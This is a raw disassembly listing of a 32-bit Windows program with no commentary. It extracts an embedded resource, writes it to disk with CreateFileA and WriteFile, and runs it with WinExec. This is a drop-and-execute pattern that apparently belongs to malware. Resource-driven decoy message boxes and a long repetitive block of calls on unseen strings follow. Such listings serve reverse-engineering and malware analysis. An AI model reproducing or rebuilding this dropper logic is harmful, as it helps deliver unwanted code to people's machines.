mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be24
lea eax, [ebp - 0x128]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x128]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
push 0x13156ae4
push 1
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [0x1315be20]
push 0x13156af4
push dword [0x1315be24]
lea eax, [ebp - 0x12c]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x12c]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov esi, eax
call fcn.1314e9e4
push 0
push 0x1315be3c
push ebx
mov eax, dword [0x1315be48]
push eax
push esi
call sub.kernel32.dll_WriteFile_1
call fcn.1314e9e4
push esi
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e9e4
push 5
push dword [0x1315be20]
push 0x13156af4
push dword [0x1315be24]
lea eax, [ebp - 0x130]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x130]
call fcn.131448ec
push eax
call sub.kernel32.dll_WinExec
call fcn.1314e9e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13150123
call fcn.1314e9e4
call fcn.1314e9e4
push 0x101
push 0x1315bce8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e9e4
mov dword [0x1315bdec], 0x1315bce8
call fcn.1314e9e4
mov eax, 0x1315be00
mov edx, dword [0x1315bdec]
call fcn.13144648
call fcn.1314e9e4
lea eax, [ebp - 0x13c]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315be00]
call fcn.1314494c
push dword [ebp - 0x13c]
push dword [0x1315be6c]
push 0x13156b00
push dword [0x1315be70]
push 0x13156b10
lea eax, [ebp - 0x138]
mov edx, 5
call fcn.131447ac
mov eax, dword [ebp - 0x138]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x134]
call fcn.13144648
mov eax, dword [ebp - 0x134]
call fcn.1314be30
test al, al
je 0x131501da
jmp 0x1315461b
mov eax, dword [0x1315bebc]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x131504c2
lea edx, [ebp - 0x140]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x140]
call fcn.131448ec
push eax
push 0x17
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315bec4
lea eax, [ebp - 0x144]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x144]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x148]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x148]
call fcn.131448ec
push eax
push 0x18
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315bec8
lea eax, [ebp - 0x14c]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x14c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x150]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x150]
call fcn.131448ec
push eax
push 0x19
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315becc
lea eax, [ebp - 0x154]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x154]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
cmp dword [0x1315becc], 0
jne 0x131503d5
push 0
mov eax, dword [0x1315bec8]
call fcn.131448ec
push eax
mov eax, dword [0x1315bec4]
call fcn.131448ec
push eax
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315becc]
mov edx, 0x13156b20
call fcn.13144838
jne 0x1315040f
push 0x10
mov eax, dword [0x1315bec8]
call fcn.131448ec
push eax
mov eax, dword [0x1315bec4]
call fcn.131448ec
push eax
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315becc]
mov edx, 0x13156b30
call fcn.13144838
jne 0x13150449
push 0x20
mov eax, dword [0x1315bec8]
call fcn.131448ec
push eax
mov eax, dword [0x1315bec4]
call fcn.131448ec
push eax
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315becc]
mov edx, 0x13156b44
call fcn.13144838
jne 0x13150483
push 0x30
mov eax, dword [0x1315bec8]
call fcn.131448ec
push eax
mov eax, dword [0x1315bec4]
call fcn.131448ec
push eax
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315becc]
mov edx, 0x13156b58
call fcn.13144838
jne 0x131504bd
push 0x40
mov eax, dword [0x1315bec8]
call fcn.131448ec
push eax
mov eax, dword [0x1315bec4]
call fcn.131448ec
push eax
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315be80]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13152b64
xor eax, eax
push ebp
push 0x13152b55
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x13156b64
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b70
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b7c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b88
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b98
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ba8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156bb8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156bc0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156bcc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156bdc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156bec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156bf8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c04
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c14
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c28
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c34
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c44
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c50
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c60
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c70
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c80
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c90
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c9c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ca8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156cb0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156cbc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ccc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156cd8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ce8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156cf8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d08
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d18
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d24
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d30
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d3c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d48
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d58
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d70
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d7c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d88
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d94
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156da4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156db0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156dc0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156dcc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156dd4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156de0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156dec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e00
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e10
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e20
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e2c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e38
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e44
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e54
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e60
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e6c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e78
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e88
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e98
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ea8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156eb8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ec4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ed0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ee0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156eec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ef8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f04
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f18
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f2c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f38
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f44
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f50
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f5c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f68
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f7c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f88
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f98
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156fa4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156fb0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156fbc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156fcc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156fe0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ff0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ffc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157008
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157018
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157024
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157034
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157044
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157054
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157064
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157074
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315707c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315708c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315709c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570a8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570b8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570c4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570d4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570e0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570ec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570fc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157108
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157118
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157124
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157130
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157148
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157154
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315715c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315716c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157178
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157188
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157194
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571a0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571b0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571c0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571cc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571d8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571e0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571f0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571fc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157208
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157214
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157224
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157230
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315723c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157248
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157258
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157268
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157278
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157288
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157298
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131572a4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131572bc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131572c8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131572d8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131572e4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131572f4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157304
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157314
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157320
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315732c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157338
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157344
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157354
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157364
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157370
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157384
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157390
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315739c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131573b0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131573bc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131573c4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131573d0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131573dc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131573e8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131573f4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157400
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315740c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157418
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157424
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157430
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315743c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157448
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157454
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157464
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157474
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157480
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157490
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574a8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574b0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574bc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574c8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574d8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574e4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574f0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157500
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157510
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315751c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315752c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315753c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157548
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157554
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157564
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157570
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315757c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157588
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157594
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575a0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575ac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575b8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575c0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575cc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575dc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575ec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575f8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157608
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157618
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315762c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157638
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157644
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157654
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157660
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315766c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157678
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157688
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157698
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576ac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576b8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576c8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576d4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576e4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576f4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157700
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315770c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157718
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157724
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315772c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157738
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157748
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157758
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157764
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157774
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157780
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315778c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315779c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577a8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577b4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577c4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577cc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577e0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577ec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577fc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157808
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157818
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157828
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157840
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315784c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157860
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315786c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157878
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157884
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157890
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315789c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131578a8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131578b4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131578c0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131578d0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131578e0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131578ec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131578fc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315790c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157918
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157924
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157930
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157940
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157950
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157968
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157974
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157984
call fcn.13149664
call fcn.1314bd08
